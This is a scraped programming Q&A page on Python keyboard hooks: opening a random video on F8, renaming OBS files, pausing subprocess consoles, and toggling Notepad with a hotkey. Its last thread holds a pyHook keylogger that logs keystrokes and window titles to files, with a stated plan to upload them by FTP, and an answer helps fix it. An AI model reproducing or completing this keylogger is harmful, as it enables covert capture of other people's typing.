Open random video file on a keypress - python

I am trying to write a program in Python that will open a random video file on a keypress(for me F8). I am very new to coding and currently stuck. I got it to the point where I am not getting any errors but now the program is not sticking around. Not sure what to do next. My code:
import os
import keyboard
import string
import random
from openfile import openfile
path = r"C:\Users\Rudy\Videos\GIFS"
letter = string.ascii_letters
digit = string.digits
def keyboardPress():
mp3Select = random.choice(os.listdir(path))
keypress = str(path + "\\" + mp3Select)
while True:
if keyboard.is_pressed('F8'):
openfile(keypress)
break
def main():
while True:
try:
keyboardPress()
except:
pass
main()

To open a random video on key press, you can use the event hooks in the keyboard module, one such event hook is keyboard.on_press(callback) which invokes a callback for every keydown event.
To prevent the program from terminating, you can use the method keyboard.wait(hotkey=None) which blocks the program execution until the given hotkey is pressed.
Use:
def keyPress(event):
if event.name == 'f8': # filter the `f8` key press event
fileName = random.choice(os.listdir(path))
filePath = os.path.join(path, fileName)
openfile(filePath) # open the video file
def main():
keyboard.on_press(keyPress) # hook up the event handler
keyboard.wait('esc') # blocks the program execution until `escape` key is pressed.
main()
Edit (see comments):
Use this while calling main():
try:
main()
except Exception as ex:
print(ex)

Related

Change OBS Filename before replay buffer is saved using obspython

I am writing an OBS python script to add your current active window to the filename formatting before saving with replay buffer. So far, I've gotten it to update the active window name in the filename, but it's updating the filename after I press "save replay buffer"
Here's the working code I have so far:
import win32gui
import obswebsocket
import obspython
from obswebsocket import obsws, events, requests
def on_event(event):
if event == obspython.OBS_FRONTEND_EVENT_REPLAY_BUFFER_SAVED:
print("Setting file name to active window title...")
windowTitle = win32gui.GetWindowText (win32gui.GetForegroundWindow())
print("Window Title: " + windowTitle)
client = obswebsocket.obsws("localhost", 4444, "")
client.connect()
client.call(obswebsocket.requests.SetFilenameFormatting("%CCYY-%MM-%DD %hh:%mm:%ss - " + windowTitle))
client.disconnect()
print("Done!")
def script_load(settings):
obspython.obs_frontend_add_event_callback(on_event)
print("get-window-title.py Loaded!")
I've thought of trying a different approach where I set up a keypress listener to run "save replay buffer" after the title change in the code. I wanted to see if there was a simpler way using the obspython.OBS_FRONTEND_EVENT_REPLAY_BUFFER_SAVED event handler.

How to pause cmd window after using subprocess.Popen function

I want to make let's say 5 subprocesses to work in exact same time. Problem is cmd window that appears for a split second so I am unable to see anything. How can I pause it or make anything else to have that window on sight after finished code?
I am opening it with such approach:
client = subprocess.Popen(f'python file.py {arg1} {arg2}', creationflags=CREATE_NEW_CONSOLE)
You could do it by creating Windows batch files that executed your Python script and then pause before ending.
import atexit
import msvcrt
import os
import subprocess
import sys
from tempfile import NamedTemporaryFile
import time
import textwrap
def create_batchfile(proc_no, py_script_filename, *script_args):
"""Create a batch file to execute a Python script and pass it the specified
arguments then pause and wait for a key to be pressed before allowing the
console window to close.
"""
with NamedTemporaryFile('w', delete=False, newline='', suffix='.bat',
) as batchfile:
cmd = (f'"{sys.executable}" "{py_script_filename}" ' +
' '.join(f'"{sarg}"' for sarg in script_args))
print(f'{cmd}') # Display subprocess being executed. (optional)
batchfile.write(textwrap.dedent(f"""\
#echo off
title Subprocess #{proc_no}
{cmd}
echo {py_script_filename} has finished execution
pause
"""))
return batchfile.name
def clean_up(filenames):
"""Remove list of files."""
for filename in filenames:
os.remove(filename)
temp_files = [] # List of files to delete when script finishes.
py_script_filename = 'my_file.py'
atexit.register(clean_up, temp_files)
for i in range(1, 4):
batch_filename = create_batchfile(i, 'my_file.py', i, 'arg 2')
temp_files.append(batch_filename)
subprocess.Popen(batch_filename, creationflags=subprocess.CREATE_NEW_CONSOLE)
print('Press any key to quit: ', end='', flush=True)
while True: # Wait for keypress.
if msvcrt.kbhit():
ch = msvcrt.getch()
if ch in b'\x00\xe0': # Arrow or function key prefix?
ch = msvcrt.getch() # Second call returns the actual key code.
break
time.sleep(0.1)

How to open a program using keyboard input?

My project is to make a program that you can run while you are playing games or other programs in the background.
When you press a certain key, your notepad should open and also close after you press the same key again.
I have managed to open notepad with subprocess and that works fine but I have no idea to make it open only when a certain key is pressed.
Thanks for any help!
EDIT:
What I tried already:
import subprocess
import keyboard
if keyboard.is_pressed('k'):
subprocess.Popen('C:\\Windows\\System32\\notepad.exe')
input()
here it just doesn't detect any keyboard input, the input() at the end makes the program not close instantly
import subprocess
import keyboard
keyboard.add_hotkey('ctrl+k', print,args=("hello", "test"))
input()
Here if I press "ctrl+k it" will print hello test that means the hotkey works fine. When I switch this part "print,args=("hello", "test")" to "subprocess.Popen('C:\Windows\System32\notepad.exe')"(it should open the program instead of printing hello test) the notepad opens instantly after I run the program and when I press "ctrl+k" I get a big error.
A more complex, but still working example could be the following. With this code your program will be always listening the keyboard, not only when you are focused on the input, so may be mre practical in your case
from pynput import keyboard
import subprocess
import threading
class MyException(Exception): pass
class Listening:
"""Is allways waiting for the keyboard input"""
def __init__(self):
self.notepad_open = False # to know the state
with keyboard.Listener(
on_press=self.on_press) as listener:
try:
listener.join()
except:
pass
def on_press(self, key):
try:
if key.char == "k":
if not self.notepad_open:
self.subprocess = \
subprocess.Popen('C:\\Windows\\System32\\notepad.exe')
self.notepad_open = True # update state
else:
self.subprocess.kill()
self.notepad_open = False # update state
except: # special key was pressed
pass
thread = threading.Thread(target=lambda: Listening())
thread.start()
The problem is that you check for the key 'k' only once at the beginning. If you want the program to correctly work then you should try this:
import time
import subprocess
import keyboard
while True:
if keyboard.is_pressed('k'):
subprocess.Popen('C:\\Windows\\System32\\notepad.exe')
time.sleep(5)
-I used the time so that you can only open the program once 5 seconds(If you're curious, see what happens without it)-

Simplest method to call a function from keypress in python(3)

I have a python application in which a function runs in a recursive loop and prints updated info to the terminal with each cycle around the loop, all is good until I try to stop this recursion.
It does not stop until the terminal window is closed or the application is killed (control-c is pressed) however I am not satisfied with that method.
I have a function which will stop the loop and exit the program it just never has a chance to get called in the loop, so I wish to assign it to a key so that when it is pressed it will be called.
What is the simplest method to assign one function to one or many keys?
You can intercept the ctrl+c signal and call your own function at that time rather than
exiting.
import signal
import sys
def exit_func(signal, frame):
'''Exit function to be called when the user presses ctrl+c.
Replace this with whatever you want to do to break out of the loop.
'''
print("Exiting")
sys.exit(0) # remove this if you do not want to exit here
# register your exit function to handle the ctrl+c signal
signal.signal(signal.SIGINT, exit_func)
#loop forever
while True:
...
You should replace sys.exit(0) with something more useful to you. You could raise an exception and that except on it outside the loop body (or just finally) to perform your cleanup actions.
import keyboard
import sys
from time import sleep
def kb():
while True:
if keyboard.is_pressed("a"):
print("A key was pressed")
sys.exit(0)
def main():
kb()
if __name__ == "__main__":
main()
Here is some code
import keyboard
import sys
def kb():
while True:
#your code here
if keyboard.is_pressed("a"): #replace with your key
print("Key interrupt detected")
#cleanup here
sys.exit()
#or here
if __name__ == "__main__":
kb()
This program checks if you have pressed the key "A" every cycle. If you have, it exits.
import keyboard
def mywait():
keyboard.read_key()
def my_function():
print("hello")
def my_exit():
quit()
keyboard.add_hotkey('h', my_function)
keyboard.add_hotkey('esc', my_exit)
while True:
mywait()

Python threading with pyhook

import win32api
import win32console
import win32gui
import pythoncom, pyHook , sys, time , os , threading
import shutil ,socket ,datetime
from ftplib import FTP
from threading import Thread
def fi():
while True:
dr = socket.gethostname()
if not os.path.exists(dr):
os.makedirs(dr)
else:
pass
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = dr + '/' + p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
statinfo = os.stat(fil)
fils = statinfo.st_size
if(fils > 20):
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = dr + '/' + p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
else:
pass
lastWindow = None
lastWindow=win32gui.GetWindowText (win32gui.GetForegroundWindow())
print lastWindow
def OnKeyboardEvent(event):
global lastWindow
window = event.WindowName
key = chr(event.Ascii)
if window != lastWindow:
start = '-----------------------------------'
print str(start)
print window
lastWindow = window
print key
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
if __name__ == '__main__':
Thread(target = fi).start()
Thread(target = OnKeyboardEvent(event)).start()
The first block of code def fi() is making a new file when the file size goes more than 20KB . The second block is a keylogger and logs the key in the file. I am new to python and multi-threading. Now when i run this code. i can only get the keylogger working and no file is formed and no logs are created. Please help me with this one.
All i need from this code is to create a log file named on the current time and log all the keywords into the file. and then if the file becomes more than 20KB then it should upload the old file to the server and make a new file with the new current time. I am new to python thats why i am not sure of what this code is wrong in and what it is not doing .*
First problem
You do create two Threads - but the target of the second is the return value of OnKeyboardEvent(event). This has no return-statement, so the return value is None, so the Thread has no target.
Second problem
Your code never reaches the if __name__ == "__main__":-part. It blocks on pythoncom.PumpMessages(), at least for me.
Third problem
At first I was confused how your code could run without throwing an exception - event in the last line isn't defined earlier in this scope. But problem 2 prevents problem 3 from becoming effective at the moment, but if you fix this, you'll have to face number 3 as well.
Solution
Honestly, I do not really understand what you are trying to do. You should definitely fix each of the problems.
Don't call the target of a thread, give the thread a function-object. If you need arguments, use the args-argument of Thread, e.g. Thread(target = OnKeyboardEvent, args=(event)).start()
I do not know the usage of pythoncom too well. Maybe pythocom.PumpWaitingMessages() is what you want?
I have no idea what you're trying to do here. Why do you want to call a callback-function in a Thread? This function has no loop or anything, so it will run once and stop. I guess it was just a desperate try?
General remarks
I'd not recommend redefining sys.stdout unless you really have to do so.
Please close() files you open. Maybe consider using the with-statement.
Even better: make use of the logging-module. It offers a lot of different possibilities.
When you create a Thread, think about the end. When will it stop? How can you stop it from another Thread?
import win32api
import win32console
import win32gui
import pythoncom, pyHook , sys, time , os , threading
import shutil ,socket ,datetime
from ftplib import FTP
from threading import Thread
def OnKeyboardEvent(event):
# Now you can access your hookmanager, and change which keys you want
# to watch. Using 'event' and 'hm', you can do some fun stuff in here.
global hm
global lastWindow
window=win32gui.GetWindowText(win32gui.GetForegroundWindow())
####window = event.WindowName
####I'm not sure, but these last two functions may not return the "exact"
####name values. I would call the same function you trying to compare against.
key = chr(event.Ascii)
if window != lastWindow: ## Now you know these at least come from same function
start = '-----------------------------------'
print str(start)
print window
lastWindow = window
print key
def fi(): #This is your "worker loop"
while True:
dr = socket.gethostname()
if not os.path.exists(dr):
os.makedirs(dr)
else:
pass
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = dr + '/' + p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
statinfo = os.stat(fil)
fils = statinfo.st_size
if(fils > 20):
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = dr + '/' + p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
else:
pass
if __name__ == '__main__':
"""This stuff only executes once"""
global lastWindow
lastWindow = None
lastWindow=win32gui.GetWindowText(win32gui.GetForegroundWindow())
print lastWindow
global hm #if we make this global, we can access inside OnKeyboardEvent
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
Thread(target = fi).start() #This is your worker loop
# We don't need this. OnKeyboardEvent will get callbacks from system
# thanks to Hookmanager and PumpMessages
##Thread(target = OnKeyboardEvent(event)).start()
# You wouldn't want to do it with the way we are set up, but this is a "polite"
# way to get PumpMessages to return...
#ctypes.windll.user32.PostQuitMessage(0) # stops pumpMessages
try:
pythoncom.PumpMessages() #This call will block forever unless interrupted
except (KeyboardInterrupt, SystemExit) as e: #We will exit cleanly if we are told
print(e)
os._exit()
I noticed your edit/comment on the original message. If you are still working on this, here is what I suggest.
Forget about the logging, threading, and other stuff you are trying to do. Focus on getting PyHook to work in its most simple state. From the original code, it seems you are struggling to get pyHook set up correctly (note, i do not currently have pyhook installed, so this is not tested code):
import pyHook
def OnKeyboardEvent(event):
print(event)
if __name__ == '__main__':
global hm #if we make this global, we can access inside OnKeyboardEvent
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
try:
pythoncom.PumpMessages() #This call will block forever unless interrupted,
# so get everything ready before you execute this.
except (KeyboardInterrupt, SystemExit) as e: #We will exit cleanly if we are told
print(e)
os._exit()
This code aims to simply hook any keypress event, print the event instance to the console. Technically you should not do much work INSIDE the event callback (it should return as quickly as possible), but for the sake of testing, you might be able to put some of your worker-functions in the event loop. THis would only be temporary, until you are ready to mix in your threaded worker loop. (and don't be surprised if file-access functions cause errors).
Get this working first. Then try storing stdout to a file. (forget about the 20Kb file limit for the time being).

Categories

Resources